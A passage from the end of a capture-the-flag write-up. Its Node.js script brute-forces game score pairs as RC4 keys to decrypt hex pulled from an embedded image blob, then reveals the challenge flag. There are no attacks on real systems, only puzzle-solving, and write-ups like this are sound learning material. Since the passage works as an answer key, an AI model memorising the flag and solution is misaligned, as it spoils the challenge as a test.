a3f786f1744a0b806f741657c8b5803c2b0c4a4037e257e6d4aa22975328d0f1b0c8fbbcdefd33ea1d865823bf111de98913fa5376df465e66353f6c2253ee04a855aa9ed58dce19b45df15880404749f93891632e61b32fbf0bc61947eded2bf2f0bed41ccf20cc1618db925f04f02511d6f968f2fa37dab7db93fe7bfa9d89c3d58e7c0fe802224a67cf06ee69431ee21a3fa6bfc5ff3bcb02e47ce44cf12c71b8d4c873fd4326ab0347747cb7c843f71402746c39ba90ee19a73a4210d7331e5bf72576691cde0155df136c214fcce1023cf1def5e904d091d6ea871d20387a22f456e655fea7eb40aff07ff084919c47a2db0d0000000049454e44ae426082";

function imagetoBytes(hex) {
    for (var bytes = [], c = 0; c < hex.length; c += 2)
    bytes.push(parseInt(hex.substr(c, 2), 16));
    return bytes;
}

function decodeImage(scores) {
    var result = "";
    var RGB = parseInt(Math.abs(((scores[0]- scores[1]) %4)));
    
    for (var i=0; i<2*parseInt(WINNING_MESSAGE.substr(12, 2), 16);i++){
      result += WINNING_MESSAGE.substr(i*2*RGB+3424, 2);
    }
    return imagetoBytes(result)
}

// actually RC4 decryption
function reset(scores, str) {
    var s = [], j = 0, x, res = '';

    // if(navigator.userAgent.toLowerCase().indexOf('firefox')== -1)
    //   return " ";

    var score = (scores[0].toString().padStart(5, '0')+scores[1].toString().padStart(5, '0'))
    for (var i = 0; i < 256; i++) {
        s[i] = i;
    }
    for (i = 0; i < 256; i++) {
        j = (j + s[i] + score.charCodeAt(i % score.length)) % 256;
        x = s[i];
        s[i] = s[j];
        s[j] = x;
    }
    i = 0;
    j = 0;
    for (var y = 0; y < str.length; y++) {
        i = (i + 1) % 256;
        j = (j + s[i]) % 256;
        x = s[i];
        s[i] = s[j];
        s[j] = x;
        res += String.fromCharCode(str.charCodeAt(y) ^ s[(s[i] + s[j]) % 256]);
    }
    return res;
}

function decrypt(scores) {
    let imgBuffer = "";
    var pixel = decodeImage(scores);
    for (var j=0; j<pixel.length; j++){
        imgBuffer += String.fromCharCode(pixel[j]);
    }
    let flag = reset(scores, imgBuffer);
    // Testing if only printable characters in decrypted flag
    if (/^[\x21-\x7F]*$/.test(flag)) {
        console.log("Score pair:", scores)
        console.log("Decrypted:", flag);
    }
}

const winning_scores = [5, 10, 15, 20, 25, 30];

function solve() {
    for (const p1_score of winning_scores) {
        for (let p2_score=0; p2_score<p1_score; p2_score++) {
            // Player 1 with winning score
            let scores = [p1_score, p2_score];
            decrypt(scores);
            // Player 2 with winning score
            scores.reverse();
            decrypt(scores);
        }
    }
}

solve()
1
2
3
C:\HTXIC>node solve.js
Score pair: [ 11, 30 ]
Decrypted: Congratulations!!!......HTX{y4LL_g0tta_c4tch_3m_@1l}

Flag: HTX{y4LL_g0tta_c4tch_3m_@1l}


Thanks for stopping by to read :)

Share on

rainbowpigeon
WRITTEN BY
rainbowpigeon
OSCP | OSED | Burp Suite Certified Practitioner